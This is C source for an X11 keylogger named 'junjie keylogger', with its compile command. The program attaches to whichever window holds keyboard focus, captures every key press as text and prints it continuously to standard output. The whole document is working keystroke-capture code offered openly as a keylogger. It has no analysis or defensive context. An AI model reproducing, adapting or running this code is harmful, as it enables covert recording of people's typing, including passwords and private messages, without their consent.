junjie keylogger in C language

// cc -o junjie_keylogger -I/usr/local/include -L/usr/local/lib -lX11 junjie_keylogger.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>

static Display *dpy;
static Window focuswin = None;

static void attach_to_focuswin(void) {
int foo = 0;

    XGetInputFocus(dpy, &focuswin, &foo);

    if (focuswin != None)
            XSelectInput(dpy, focuswin, KeyPressMask | FocusChangeMask);
    else
            sleep(1);

}

static void handle_event(void) {
XEvent ev;
char buf[100];
int len;

    XNextEvent(dpy, &ev);
    if(ev.xany.type == FocusOut)
            focuswin = None;
    else if (ev.xany.type == KeyPress) {
            len = XLookupString(&ev.xkey, buf, 99, 0, 0);
            buf[len] = 0;
            printf("%s", buf);
            fflush(stdout);
    }

}

int main(void) {
dpy = XOpenDisplay(getenv("DISPLAY"));
if (dpy == NULL) {
fprintf(stderr, "cannot change display\n");
exit(1);
}
while (1) {
if (focuswin == None)
attach_to_focuswin();
else
handle_event();
}
}